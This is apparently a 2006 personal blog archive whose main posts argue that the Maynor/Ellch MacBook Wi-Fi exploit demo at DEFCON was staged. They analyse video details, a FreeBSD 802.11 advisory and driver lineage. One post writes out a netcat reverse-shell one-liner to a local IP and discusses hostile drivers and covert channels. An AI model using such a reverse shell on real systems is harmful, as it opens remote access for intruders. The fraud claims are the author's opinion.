Sex, Drugs & Unix

Wednesday, August 23rd

Ellch and Maynor: the continuing debate

It goes like this...

1) The Apple Airport driver for the Intel notebooks (and Intel mini) uses a variant of the net80211 stack (and 'hal') from FreeBSD. If you search closely enough, you can find ample evidence.

Intel-MacMini:~ jim$ /usr/sbin/kextstat | egrep -i "80211|Airport"
92 1 0x940000 0x19000 0x18000 com.apple.iokit.IO80211Family (112.1) <39 16 11 6 5 4 3 2>
93 0 0x959000 0x60000 0x5f000 com.apple.driver.AirPortAtheros5424 (104.1) <92 39 16 11 6 5 4 3 2>

If you run 'strings' on /System/Library/Extensions/IO80211Family.kext/Contents/PlugIns/AirPortAtheros5424.kext/Contents/MacOS/AirPortAtheros5424 you'll find that the string table (at least) is quite similar to the "wlan.ko" driver (found in /boot/kernel) on FreeBSD-6. Try grepping for ieee80211_ in the output of both strings commands, and you'll see what I mean.

The lineage of the MacOS driver for the Atheros chipset is quite clear to anyone used to a) working with WiFi hardware and b) able to deal with kernel loadable modules on MacOS, BSD or linux.

2) It is highly unlikely that the 802.11 IE issue (which Maynor/Ellch promote in their defense) is present in any released version of MacOS. Apple didn't use Atheros 802.11 chipsets prior to the launch of the "MacBook Pro" and Intel Mac mini.

The "MacBook Pro" was introduced http://www.apple.com/pr/library/2006/jan/10macbookpro.html">Jan 10, 2006.

It didn't ship untilFebruary 14, 2006.

The Intel Mac mini wasn't introduced until February 28, 2006.

The SA for the FreeBSD 6.x was released January 18, 2006.

The problem was known (and understood) as far back as early November 2005

Atheros actually did the initial port of the net80211 stack into the MacOS 10.4 kernel. For all I know, they continue to maintain the code. Sam Leffler is the original author of the net80211 code used in FreeBSD (a variant of this code is known as the 'madwifi' driver on linux.)

It seems beyond reason to me that Atheros would not have fixed the net80211 stack for MacOS when the issue was well-known for three months before the initial shipment, and a known bugfix (patch) was released almost 30 days before the "MacBook Pro" began to ship. My bet is that Apple and Atheros (and Sam Leffler) had a fix for this well-before January 18, and the additional delays were due to the "process" required to get code incorporated into the RELENG_6/6.0-STABLE mainline.

If so, Ellch/Maynor pointing to the FreeBSD net80211 flaw is, at best, (yet more) misdirection.

Were I to guess (and I am), here's what probably happened.

1) Ellch and Maynor want to present the results of their 'fuzzing' research at BlackHat. One of them (likely Maynor) decides that they need a demo. Busting open Windows machines isn't news, and busting a linux or FreeBSD-based machine isn't any fun, because its not press-worthy.

But busting a company well-known for its secrecy that is currently touting itself as more secure than Windows PCs? Dude, the press might cover that!

2) Ellch and Maynor attempt the "Information Element Buffer Overflow" on at least an Intel MacBook, and can't get it to fail. They may have tried other Apple products and had them not fail either. I doubt that the firmware on the original, Lucent-based Apple Airport cards mishandles over-length IEs in received Beacon or Probe Response frames.

Sensing that their demo is doomed, they take a different tact. They find an 802.11 USB device. Maynor has some experience with USB device driver security. Maynor presented "0wn3d by everything else: USB/PCMCIA Issues" at CanSecWest 2005.

In it, Maynor proposes that in order to exploit DMA as a vector for a remote exploit, physical access to the machine is required, and then notes that Wireless, Bluetooth and Network drivers are exceptions t this rule.

Remote exploits via USB is theoretically possible but that Maynor did not show he had actually done it, so the value of his presentation dropped to near zero among technical people while it stayed quite high for non-techies and, most importantly, the press. Anybody can claim that this or that is insecure or flawed, the real hard work is proving it.

It’s been over a year since CSW 2005 and I still haven’t seen a technical paper or sample code that demostrastes the problem beyond any reasonable doubt. Modern research requires that you allow your peers to scrutinize your methodology and the results of your work otherwise its just a makreting campaign. Maximillian Dornseif presented a real attack using similar techniquies over FireWire at the same conference. The code is published. Now missing is a video of the exploit., which is too bad, as it could have been interesting. There appears to be a version of the same video here, though.

Maynor updated (and referenced) his CSW 2005 presentation at toorcon with "You Are The Trojan". Tellingly we find this admission on slide 47: "After working with the very diligent MSRC it was discovered only two of the bugs could lead to an actual overflow condition, and of those two one was not in a *.sys."

And thats on Windows...

Maynor's ToorCon and CSW presentations also contain what can only be described as adoring fanboy references to Maximillian Dornseif. Go take a look for yourself.

Lets return to MacOS though.

3) As noted before, it is expressly >NOT< possible to leverage the built-in Airport wireless device in the MacBook via over-length IEs in beacons or probe responses. This will not do.

4) Maynor and Ellch either find a 802.11 USB device that will forward over-length IEs, with a driver for MacOS, or they create enough of a stub driver to leverage these same over-length IEs. Note that this stub driver need only forward all over-length frames to a user-space process as commands to start a copy of 'nc' (as pointed out in previous posts.)

A simple approach for the demo would be to send the "nc" (or similar) command string over as an Information Element in beacon frames. A user-level process on the MAC could sit and read these frames, decode them, and start the remote process.

Its possible that Maynor and Ellch actually could (or perhaps even do) produce shellcode for the Mac while running in the context of the device driver. Anyone who has done even insignificant kernel work on MacOS or any Unix/linux kernel knows that its nearly trivial to start a new process running the command of your choice from kernel context, including the 'top half' of device drivers. (Its possible from the bottom-half too, but this would be very poor practice and brings about other problems.) This is a somewhat more difficult coding exercise, but it is possible, as long as the device driver will stay up long enough to accomplish copying in the remote exploit code.

Here the problem is that the device driver (if not the entire kernel) could go down like a $20 whore once the remote exploit code is run in kernel context. Who knows what your "remote DMA exploit" might have just trampled. If the device driver dies, then the USB-based WiFi access dies with it, severing connectivity.

For this reason, if Maynor and Ellch did not completely fake the video, I believe that they used an entirely userspace-based approach, but this approach requires them to have setup the MacBook well in-advance of the start of the demo, and, in fact, this is what we see. We see that 'en1', the internal Airport card has the IP address (192.168.1.50) referenced by Maynor in the video, and we see that the last two hex digits (6d) of the MAC address of en1 are present in the command that Maynor runs on the Dell. And, around 04:29 in the video, we can see that the Airport icon in the menu bar indicates that the Airport card (en1) is associated with an AP, though we don't know which AP.

The "userspace approach" would explain how the "remote shell" starts in Maynor's home directory on the MAC, and appears to be running as his UID, rather than 'root'.

Its also possible, of course, that Maynor started the "remote shell" himself. Doing so would completely destroy whatever credibility he has in the security industry, but he could always do a post-presentation "wax job" to polish the turd. He may or may not be busy doing so right now.

In summary:

Is it possible to overtake a *nix (or Windows) machine with a hostile device driver? Yes. I doubt that anyone is debating same.

Does the video show such an exploit? No, not unless the USB device is somehow used to 'trigger' the functional equivalent of the 'nc' command I showed in an earlier post.

Perhaps Maynor and Ellch found a USB card with enough of a driver that they could exploit the IE buffer overflow attack (or something a lot like it), and this is used to trigger either shell code (a full remote exploit) or to signal a copy of 'nc' (or its equivalent) already running on the box. A sort of "you may connect now". Typical covert channel stuff.

But what the video shows is that communication is *literally* taking place over the (internal) Apple Airport card. *IT* has the IP address, *IT* has a partially-matching MAC address, and, quite likely, *IT* is associated to the "AP" running on the Dell laptop.

Buggy device drivers that accidentally open holes for remote exploits is not news.

Hostile device drivers are not news.

Running a hostile AP is not news.

Running 'nc' is not news.

A full remote exploit is possible, but unlikely with the Apple Airport card.

Due to the unlikely coincidence of the remote shell starting in Maynor's home directory, we quite likely have not witnessed a remote exploit of the MacBook, even with the USB card in-place.

We're left with nothing except the fact that remotely 'fingerprinting' 802.11 devices (and driver versions) is interesting work, (this is what 'fuzzing' is) and could lead to the results that Maynor and Ellch wanted to present. But we still don't have a demo of an exploit.

No doubt one is possible, on several different kinds of cards.

And then there is this.

If you look at www.smallworks.com on www.technorati.com, and search through the inbound links, we come to an inbound link from "/media" and the following snippet:

it up with a live demo. *sigh* "No security researcher knuckles under to strong-arm tactics without watching his credibility be destroyed." --Jim Thompson * When I signed up to be a "security researcher" nobody ever mentioned that i would have to sacrifice my financial solvability by

80211mercenary.net is Ellch's blog. If you follow the /media link, it now contains two words, "Coming Soon!", but Technorati appears to have cached a much more interesting (and telling) entry by Ellch. In the cached entry, the '*' links to http://www.smallworks.com/archives/00000455.htm

Anyone who is familiar with the Technorati API and knows how to extract more of this entry is welcome to show me how. Google's cache is too new (August 18), and the Wayback Machine doesn't have any entry's for Ellch's site.
Jim on 08.23.06 @ 01:13 PM PST [link]

Monday, August 21st

Yet another thing about the Maynor/Ellch affair

David Shaw wrote in to ask a question:

One of the things that has bothered me since I first saw the video, and again when I got a chance to see the high resolution version you provided. Why does Maynor end up in a user directory after the code executes? If he has root access wouldn't he be presented with the "root" of the system? And when he "cd"s to "Desktop", he isn't using "/Users/dave/Desktop", he just types "Desktop".

David points out another "flaw" in the Maynor/Ellch magic show.

Yes, unless Maynor and Ellch took special care to set the directory of the process (which is what the 'chdir()' system call does), they would end up in /, because this is the equivalent of "" (null) to the kernel as far as "what directory is this process in?".

Normally the 'login' process does the 'chdir($HOME)' before it execs the users shell (Maynor's is bash.)

They could do this with remote exploit code, of course. (They could even run as a non-zero UID.) However, I don't know of any "remote exploit" code that does this, since its simple to drop the privs from a root shell, and ... getting root was the point, no?

The point here is, the "remote shell" is (or at least appears to be) running as a user named "david", in David's home directory.

Jim on 08.21.06 @ 11:04 AM PST [link]

Friday, August 18th

Spokane's latest craze: cat mutilation

Tuesday night, SpokAnimal CARE responded to yet another disturbing call from residents surrounding Albi Stadium. For the third time this month, the back half of a severed cat was found in their neighborhood.

SpokAnimal is very concerned about the nature of these cruel acts: they have no blood anywhere in or near the body, the bodies are strategically and methodically placed in the area that they've been found, and the cut is very clean, not torn as if an animal had caused the dismemberment.

Officials at SpokAnimal fear that these acts are somehow related to a cruel cult activity.
link.

Must be payback.

Child-mauling pitbulls, Cross-burning skinheads, mutilation of kitty cats, poisoned groundwater, and cops that shoot first and ask questions later

Just another week in Spokane.
Jim on 08.18.06 @ 08:18 PM PST [link]

Bruce Schneier Facts

From the creators of Everybody Loves Eric Raymond now comes Things you might not know about Bruce Schneier.

See also: Chuck Norris Facts
Jim on 08.18.06 @ 08:07 PM PST [link]

Knockin' on heaven's door

Mama, take this badge off of me
I can't use it anymore.
It's gettin' dark, too dark for me to see
I feel like I'm knockin' on heaven's door.

So the news is out, Maynor and Ellch are being slowly discredited.

This, after they angrily attempted to discredit me.

It is a thinly-veiled secret that the new MacBooks (pro or not) and the Intel mini use an Atheros chipset for their "Airport" card. The desktops ("Mac Pro" and "iMac"), except the mini, and all PowerPC Macs that have 802.11g functionality use a Broadcom chipset. What is less known is that the Atheros-supplied Airport driver re-uses the FreeBSD "ath" driver code, loading the Apple80211 on top for a control infrastructure.

What makes this little factoid interesting is that there was a bug in the Information Element (IE) handling in the freebsd-6.0 Atheros driver that probably clued Maynor and Ellch into the possibilities.

The CVE entry is CVE-2006-0226, and the FreeBSD advisory is here. Reading the FreeBSD security advisory, we find:

II. Problem Description

An integer overflow in the handling of corrupt IEEE 802.11 beacon or
probe response frames when scanning for existing wireless networks can
result in the frame overflowing a buffer.

III. Impact

An attacker able broadcast a carefully crafted beacon or probe response
frame may be able to execute arbitrary code within the context of the
FreeBSD kernel on any system scanning for wireless networks.

The patch is here. If you look, the issue is with over-length Information Elements, and these are only present in Beacon and Probe Response frames.

What I said was, It could be CF-END or CF-END+ACK, or it could be malformed beacons, as Glenn states. It could be unsolicited probe-response frames (i.e. without an associated probe request), or it could just be data frames with both FC bits cleared. I believe this last possibility is the most likely.

Inspection of FreeBSD's ieee80211_input.c shows that data frames with both FC blts cleared are dropped, so this avenue isn't open as an exploit on Apple's hardware. (At least, not on the Atheros-based hardware, and I happen to know the guy who maintains the Apple Broadcom driver, and he's sure to have closed that hole as well.)

What is really telling is that Maynor and Ellch have to have known about this bug (they admit to same when they attempt to discredit me), so they MUST HAVE TRIED TO EXPLOIT IT on Apple's "Airport" hardware.

And they must have failed.

But rather than come out and state "the Airport card is not vulnerable", they decided that they must have enough sizzle in their story to get noticed. It just wasn't going to get anyone's notice if they showed their little hack on Windows. Everyone knows that Windows is swiss cheese by now.

Instead, they provoked the audience with, "We're not picking specifically on Macs here, but if you watch those 'Get a Mac' commercials enough, it eventually makes you want to stab one of those users in the eye with a lit cigarette or something."

In what must now be viewed as a desperate attempt to drum up business for their Maynor's firm, the pair implies they went and found a USB device with a driver for MacOS that would forward unsolicited probe response frames, and then, via methods they are too shy (or embarassed) to explain, attached same to a "reverse shell" process on the Macbook. Frankly, from what we're show, its possible that all Maynor does is type nc -e "/bin/sh" 192.168.1.1 port-num, and then simply clears the screen. The version of nc that comes with MacOS doesn't support the '-e' switch, but it would be easy to compile in and replace the stock nc binary.

But wait, theres more, and here it gets really interesting.

In a high-resolution version of the video which I have (ahem) acquired, we can view several other problems.

The first of these is at 0:08 seconds, right after the tltle slide when Maynor introduces himself. In the lower right corner of the frame we see something 'white' which is covered with a white sheet of paper. Now, you would assume that this is the USB device (covered in paper to look like an ExpressCard, as noted before), but this can't be, because at 0:34 Maynor brings the black Macbook into the frame and sets it on the desk, then, at 0:37, raises the screen so we can no longer see the unidentified white object, and at 0:39, reaches under the table to procure the USB device (covered in paper), presenting it at 0:41. Note that at 0:35, he moves the machine to his left, possibly so he can "hit his mark".

Then, when Maynor picks up the Dell notebook at 04:10, the white card is missing from the desk.

At 1:23 Maynor states, "it will manipulate buggy code in the device driver on this Apple. This Apple will connect back to the attacker." I take this to mean that all they've done is found a way to launch a reverse shell on the Apple, connecting back to the Dell.

At 02:04 (corrected, originally I stated "02:24") we see that en1 has a MAC address of 00:17:f2:41:31:6d, and it is the interface with the 192.168.1.50 address. Looking at the IEEE OUI lookup page, we find that 00-17-F2 is "Apple Computer". The Ethernet interface (en0) in Maynor's MacBook has a MAC address of 00:16:cb:d2:07:aa.

Apple has other MAC address ranges, for instance, the Intel mini on which I type this entry has an (Atheros) Airport card inside and its MAC address is 00:14:51:ee:fe:3f, while its Ethernet interface has a MAC address of 00:14:51:ee:fe:3f. Checking around a bit, David Sifry's 15" PowerBook (Broadcom-based Airport) has a MAC address of 00:0d:93:xx:xx:xx. (I don't want to expose the whole thing.)

Something stinks. Maynor explicity states that he isn't using the internal Apple Airport card, but this is the card with the IP address.

Moreover, if you look carefully at the output of the 'ifconfig' command that Maynor types in the shell window on the MacBook, only four interfaces are present in the machine.

en0: The Ethernet device
en1: The Aiport device
wlt1: A device driver Apple supplies for applications to read raw IP frames, like bpf on other Unix systems, doesn't work with Airport on Intel hardware when last I checked.
fw0: IP over FireWire (1394a)

Its likely that lo0, gif0 and stf0 all scrolled off the top of the screen. The important thing here is to note the lack of a USB device in the IP interfaces listed. In a very real sense, I find it likley that the USB device is a McGuffin. A distraction.

Right before he types 'ifconfig' at 02:02, Maynor has typed 'bash'. Why? What possible purpose does this serve? He was already running bash.

At approximately 02:37 we see the "bad_seed" command. Whats interesting here is that there is a ":6d" at the end of the command. This appears to be the trailing edge fo a MAC address, and this appears to match the MAC address for the Airport card in the MacBook (00:17:f2:41:31:6d).

As previosly stated, at 04:10, when Maynor picks up the Dell to walk around the table in case "you're still not convinced", the white piece shown at the very start of the video is missing. Why?

SecurityFix, the outfit that "broke" the story, now has posted a message from Atheros:

"Atheros has not been contacted by SecureWorks and Atheros has not received any code or other proof demonstrating a security vulnerability in our chips or wireless drivers used in any laptop computers. We believe SecureWorks' modified statement and the flaws revealed in its presentation and methodology demonstrates only a security vulnerability in the wireless USB adapter they used in the demo, not in the laptop's internal Wi-Fi card."

Its worse than that.... as shown above, the USB card is likely not a factor, as it isn't being used. From what I can tell, Maynor and Ellch have spoofed the audience in persuit of glory and riches.

Brian Krebs at Securityfocus also got this wrong:

Maynor: OK, so the first step in this is we want to turn this [Windows laptop] into a wireless access point.

BK: Oh, so you do have to have it connected?

It is quite clear from the video that the Dell is running linux or unix, not Windows. Krebs also posted this:

[Maynor misspoke here, and I later clarified this point with him. The wireless device driver that powers the internal wireless card on the Macbook contains flaws that -- when exploited -- give the attacker the ability to create or delete files, or modify system settings. The flaw is in fact in the Macbook's wireless device driver, which is made by a third party. So again, to be clear, the flaw is not, as he suggests in the transcript of this interview, in the Mac OS X operating system itself.]

But again, (not to belabor the point), the USB card isn't being used in the exploit, as Maynor states, and its clearly not in MacOS or the Atheros Airport driver. If these things are all true, (and I believe them to be so), then where is the flaw?

Or was there ever one to begin with?

What is possible is that the USB wireless card hasn't attached to the IP stack on the MacBook, and that the "bad_seed" script somehow gets it to run the equivalent of the "nc" command shown above. If true, this is hardly groundbreaking, or even newsworthy.

It is also possible, of course that the USB device is a complete, absolute distraction. Its clear from the video that the MacBook's Airport card is being used to forward frames. Its also clear that Maynor doesn't want to discuss anything but the USB card, which, except for possibly being used as a trigger for a shell script. Frankly, that wireless card could just be a memory stick for all we know.

Until Ellch and Maynor come clean with the details of exactly how they accomplished what they claimed, I view the issue as "closed". No proof has been offered of their claim, and there are plenty of holes in their cover story.

Mama, put my guns in the ground
I can't shoot them anymore.
That long black cloud is comin' down
I feel like I'm knockin' on heaven's door.

Jim on 08.18.06 @ 03:43 PM PST [link]

Wednesday, August 16th

Lisp -- the dark side

Mosquito Lisp is a network-oriented and compact Lisp with strong influence from Scheme and Erlang. It is available as part of the Mosquito Remote Execution Framework (MOSREF) distribution, and there is a Reference Manual.

Mosquito Lisp is:

* Designed for network applications, Mosquito is highly concurrent and provides simple and efficient network and process APIs.
* Mosquito is highly portable, written in ANSI C, and is currently in active use on Darwin/PPC, Linux/x86, Windows 2000/XP, and OpenBSD/x86.
* Mosquito is compact, with the virtual machine weighing in at close to 128k on some platforms.
* Mosquito can be self-contained, applications may be linked on any Mosquito platform to run stand-alone on any other Mosquito platform.
* Bytecode generated by Mosquito's compiler may be employed on any host platform without recompilation.
* The Mosquito environment is rich, with over 300 primitive functions and 200 library functions in the standard library. (Not including additional libraries specific to MOSREF.)
* The Mosquito environment is available under the LPGL, and is obtainable from Sourceforge.

Mosquito is a secure remote execution framework that combines high-grade cryptography and a small efficient virtual machine on both ends to ensure that intellectual property is protected. It also presents a dynamic environment on a target host that can be reprogrammed on the fly over a secure communications channel to fit the current situation.

The virtual (Lisp) machine was written from scratch for this purpose, with a built in cryptography library, and is optimized for size with an eye towards being able to inject it remotely. The virtual machine's native programming environment is a Scheme-derived Lisp-family language, with an optimizing bytecode compiler. It is also cross-platform using ANSI C and GCC, currently running on OpenBSD, Darwin, Linux, and Win32.

Compiled bytecode is portable between these platforms.

So much for "Lisp is bloated" and "Lisp is slow". Now that the leading edge of the network hacker community is using Lisp in their attacks, how long will it be before the application and operating system communities re-discover Lisp as a (perhaps the) only way to twart those same attacks?

To bad Tim O'Reilly still doesn't grok Lisp. Maybe he'll understand before Web 3.0.

Jim on 08.16.06 @ 08:10 PM PST [link]

Tuesday, August 15th

Brett Glass as patron saint of bikeshedding

Proposed: that Brett Glasss be appointed the patron saint of bikeshedding.

Quoting Poul-Henning Kamp:
I hope we can get a stronger and broader base of contributors in FreeBSD, and I hope we together can prevent the grumpy old men and the Brett Glasses of the world from chewing them up, spitting them out and scaring them away before they ever get a leg to the ground.

Jim on 08.15.06 @ 07:54 PM PST [link]

Monday, August 7th

More beer & WiFi

As it turns out, the Austin Texas Showdown has free WiFi too.

This is my old friend Scot Casey, he runs the joint now. (We were in Fringeware together.)

Here's another shot.

Scot wasn't around, but I did get to see Jen.
Jim on 08.07.06 @ 12:02 AM PST [link]

Sunday, August 6th

Lovejoys

I'm at Lovejoy's, just off 6th St. in Austin. My old friend Monte (here is a very old shot) is DJing a set of raggae, ska and dub. Other than the slightly dive-like nature of the place, the only fault I can find is that the Guiness is too cold... that, and the simple fact that I miss my family and home.

I'm blogging this (Oh God, I said the 'b' word), off the Nokia 770 over a free WiFi connection here at the bar, and I'm not the only one online.

Who could have imagined that?

Nobody at Wayport back in 1999, to be sure.

Jim on 08.06.06 @ 07:59 PM PST [link]

More on that 'security flaw'

Close inspection of the video referenced in the last post shows that the wireless card used is a USB device, disguised to look like a ExpressCard/34.

The disguise? Its got paper wrapped around it, and Maynor holds the USB device in such a way that we never get to see the connector. Still, the way he waves it around, we're clearly expected to think that its something its not.

Sheesh.

I got interviewed by a German Mac magazine, Metamac. Too bad they didn't send the models.

Natch.
Jim on 08.06.06 @ 04:28 AM PST [link]

Thursday, August 3rd

Don't take your guns to town

[updated Saturday evening following a very kind email message by "TjL (a) fomer English major w/ too much free time and insomnia" who corrected several errors in the original. Small amount of additional material added to clarify some positions. --jim]

Ah, I'd love to wear a rainbow every day,
And tell the world that everything's OK,
But I'll try to carry off a little darkness on my back,
'Till things are brighter, I'm the Man In Black.

So there is this "Hack into a Mac wirelessly" attack that is making the news these days.

Jon "Jonny Cache" Ellch and David Maynor showed a video at DEFCON earlier today, demonstrating the attack. Many people opine that the reason for the video (rather than a live demonstration) is that Ellch/Maynor don't want to expose the details of the attack by having someone 'sniffing' in the room @ DEFCON. Others say the attack isn't real, that Ellch and Maynor have somehow "staged" the attack. I think this opinion is closer to the truth, though I believe that Ellch and Maynor have real frames flying through the ether. That is, while others believe it is a fake film, I belive its that they are afraid of being exposed as frauds because if they exposed the details, everyone would walk away in disgust, because it's a trivial, straight-forward "we have code running in both machines" style of attack.

Glenn Fleishman writes in "My Guess on the Wi-Fi Exploit":

> A specially crafted beaconing frame is the only method I can
> conceive of in which a computer that is otherwise not engaged in
> specific behavior, such as connected to a network or connecting to
> one, could be attacked, and thats what the researchers claim can
> happen. Other thoughts?

Yeah, I have other thoughts...

The IEEE 802.11 standard requires all stations to listen to and honor many types of frames while in "State 1" (unassociated & unauthenticated).

Quoting:
The current state existing between the source and destination station determines the IEEE 802.11 frame types that may be exchanged between that pair of STAs (see Clause 7). The state of the sending STA given by Figure 8 is with respect to the intended receiving STA. The allowed frame types are grouped into classes and the classes correspond to the station state. In State 1, only Class 1 frames are allowed. In State 2, either Class 1 or Class 2 frames are allowed. In State 3, all frames are allowed (Classes 1, 2, and 3). The frame classes are defined as follows:
a) Class 1 frames (permitted from within States 1, 2, and 3): 1) Control frames i) Request to send (RTS) ii) Clear to send (CTS) iii) Acknowledgment (ACK) iv) Contention-Free (CF)-End+ACK v) CF-End 2) Management frames i) Probe request/response ii) Beacon iii) Authentication: Successful authentication enables a station to exchange Class 2 frames. Unsuccessful authentication leaves the STA in State 1. iv) Deauthentication: Deauthentication notification when in State 2 or State 3 changes the STA’s state to State 1. The STA shall become authenticated again prior to sending Class 2 frames. v) Announcement traffic indication message (ATIM) 3) Data frames i) Data: Data frames with frame control (FC) bits “To DS” and “From DS” both false.
(end quote)

So the attack could be sending unsolicited RTS or CTS frames, perhaps with some very strange parameters. The problem here is that these (and ACK frames) are typically handled by the firmware or (in the case of Atheros and similar parts), directly by the hardware. Software generation of these frames is possible, of course, though typically not so if we limit the implementation to generating CTS and ACK frame in response under the strict timing of the 802.11 MAC protocol.

It could be CF-END or CF-END+ACK, or it could be malformed beacons, as Glenn states. It could be unsolicited probe-response frames (i.e. without an associated probe request), or it could just be data frames with both FC bits cleared. I believe this last possibility is the most likely.

The thing that suprises me about this (if its Macbook Pro specific, as Glenn states, though it is a (non-Pro) Macbook used in the video) is that the Atheros card driver from Apple is based on the well-understood "net80211" layer in FreeBSD (a very similar layer exists for linux in the 'madwifi' driver), yet the attack apparently doesn't work there.

Presumably the same attack works on the iMac and mini as well, since they both use the same Atheros part, and the same driver.

More likely: it doesn't. In the presentation, Maynor uses a "third-party wireless card". It looks like a ExpressCard/34 802.11 card, but the non-'Pro' Macbook doesn't have Express Card slots, and the card they hold is too big to be a USB device, yet the Macbook they use is definitely black.

Something is already smells like day-old fish.

In any case, why in the hell did they use an external card? Word coming out is that "Apple pressured them" to not show the attack working on an Airport card, but this has to be bullshit. Maynor stood up to Cisco last year, and got sued for his trouble. Why would he now not stand up to Apple? No security researcher knuckles under to strong-arm tactics without watching his credibility be destroyed.

Quoting the video, "The thing to keep in mind here is that although we attacked an Apple, the flaw is not specifically in the Apple Operating System, <someting uninteligible> ("having?") third-party hardware..."

Horatio: "He waxes desperate with imagination."
Marcellus: "Let's follow; 'tis not fit thus to obey him."
Horatio: "Have after.-- To what issue will this come?"
Marcellus: "Something is rotten in the state of Denmark."

I find it too likely that Ellch and Maynor wrote their *own* driver for the victim machine, and once they have their *own* AP (the other notebook in the video), they're running their *own* code on both ends of the link. Using this code, they can create a covert-channel, using one of the "Class 1" frames detailed above (which will potentially be passed to the driver, with the data intact.)

To reproduce the attack, we need an 802.11 ExpressCard/34, we'll use Google to see what's available:

http://www.gemtek.com.tw/pro_wpcb_143g.htm:: Broadcom. Click here if you don't believe me.

The Dell 1390 is a Broadcom-powered ExpressCard, but it doesn't have skins, or the right connector.

another Broadcom ExpressCard/34

and a pre-802.11n Express card (Dell 1500)

"... I sense a disturbance in the force ..."

Atheros-powered ExpressCards are available too, though these also lack the skins and appropriate ExpressCard connector.

Still, such cards are available, and the point is that these guys could have hacked their own driver, and probably did. They essentially admit that they have in the video. Once they have the driver they then turn to using a rogue AP (with special software on it, though this software is widely available). Using the combination of software on both sides of the link they simply send the frames they want over a covert channel. Once again, this is a cover channel that they planted in the "hacked" driver on the Mac. This stunt is also possible on Windows machine, if the firmware in the card passes class 1 frames to the driver as it must to be in compliance with the IEEE 802.11 protocol. Its also possible linux box, or but here they have a new problem in that they first have to move any driver that wants to claim the card to the side. The difference between Linux/FreeBSD and MacOS/Windows is that the former set ships with drivers for a lot of 3rd-party cards, and the later does not. Demonstrating their trick on a linux box would immediately set many more people in a suspicious mode, because on linux, most of the drivers are available as source code, and therefore easily modified.

But let's say Maynor and Ellch were in a hurry, and that they have a goal of getting more press by demonstrating "flaws" on the Mac, because the Mac people are "so snooty" about MacOS being superior to Windows in terms of security (and otherwise). Maynor and Ellch would elect to use an Open Source driver that was already running on MacOS X. While there are several Open Source 802.11 wireless drivers for MacOS, one, in particular stands out, the Intel Wireless driver.

Are there cards available that could use this driver? Highly likely.

While this may be the wrong flavor of ExpressCard (again, no skins/wrong connector), the mere fact of its existence means that a true ExpressCard/34 could be built. I find it likely that Intel (if nobody else) has made a handfull of ExpressCard/34 units available for development, both by its internal developers as well as third-party developers. Obtaining one of these would be as straight-forward as convincing the right product manager at Intel, or a host of other possible companies, that they had a business need for a few samples.

As Glenn reports: Intel Centrino adapters already have updated drivers that are ostensibly to fix two forms of this problem for their original 2100 adapter, and the later 2200BG and 2915ABG adapters. The 2100 has a “malformed frame privilege escalation” patch while the later units can be protected against “malformed remote code execution.”

The plot thickens... "malformed frame privilege escalation"... perhaps the Centrino firmware had a "bug" where it forwarded some "malformed" frame up the stack, but we allow for that in all of the above. All you need for exploitation on a Mac is a driver and an associated "external card". We know we have thed river, and the necessary chipset for the card is already in production. Reference designs exist, too. Check this 2005 issue of the Intel Technology Journal.

Quoting:
The ICH6-M also provides the interface for the Intel PRO/Wireless 2915ABG wireless module and ExpressCard devices. The latter removes the need for an additional PCMCIA controller, thus saving cost while providing higher performance and form-factor-friendly connectivity.

(emphasis mine)

Given all of the above, our pair of "security researchers" would not need to have the card in the Mac (or any other victim machine) associated with the "rogue" AP. The covert channel would be able to forward frames without association. Presto! That explains away the distracting claim by Ellch and Maynor that the wireless card, "doesn't have to be doing anything special."

The attack requires some infrastructure in the device driver to open a "shell" but this is very nearly trivial. The same attack would work over an Ethernet connection (say, from a special range of MAC addresses) but then it wouldn't be as "sexy". Doing this on a Windows XP machine is a cakewalk, doing the same thing on a machine running MacOS requires foreign code, and this HAS to be the reason for the insertion of the third-party ExpressCard in the MacBook.

The claim that the victim PC doesn't have to be "associated" or "doing anything special" is a head fake. While true, it serves to mystify and cloak what is really happening. Ellch & Maynor didn't present a paper titled, "we can create a covert channel by having control of the software on both sides of a communication link", because it is trivial to do so. (Avoiding detection when using a covert channel is a much more difficult problem.) Instead they performed the software equivalent of a "parlor trick", and in the tradition of shysters and con-men everywhere, colored the discussion so people would be mystified, perplexed and think that there was some new exploit buried deep in the 802.11 protocol, when, point-in-fact, there is not.

In the world of security research, this behavior is both dishonest and annoying.

In summary I don't think this is news, or newsworthy. It is "spin", and nothing more. As a none-too-subtle point, you're very very likely "safe" from this attack if your Mac only uses its Airport card, and you've located no other 802.11 cards in your Mac.

NBC news once did a story on side mounted fuel tanks on GM trucks. The claim of the story was that when such a truck was struck, it would burst into flames. GM insisted that its side mounted truck fuel tanks were more than sturdy enough to survive the average traffic collision. NBC produced and aired a video segment that showed a vehicle colliding with the side fuel tank of a GM truck at low speed, and the GM fuel tank exploded. It later turned out that the fuel tank had been rigged with explosive devices by NBC to manufacture the explosion seen in their news report. NBC was castigated by the public when the manipulation by the producers of "Dateline" was revealed.

The video that was shown at DEFCON bears strong resemblence to the NBC's "Dateline" segment. Ellch & Maynor have done the essential equivalent of rigging the MacBook with explosives. They should be required to apologise in public.

Finally, Ellch in particular, does a great disservice to the "Man in Black" via his "Nom de Plume".

“You've got to know your limitations. I don't know what your limitations are. I found out what mine were when I was twelve. I found out that there weren't too many limitations, if I did it my way." -- the real Jonny Cash

Jim on 08.03.06 @ 11:29 PM PST [link]

August 2006
S	M	T	W	T	F	S
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30	31